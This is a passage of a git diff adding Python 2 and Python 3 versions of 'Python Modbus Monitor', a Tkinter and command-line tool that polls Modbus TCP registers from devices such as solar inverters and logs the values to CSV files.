defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = 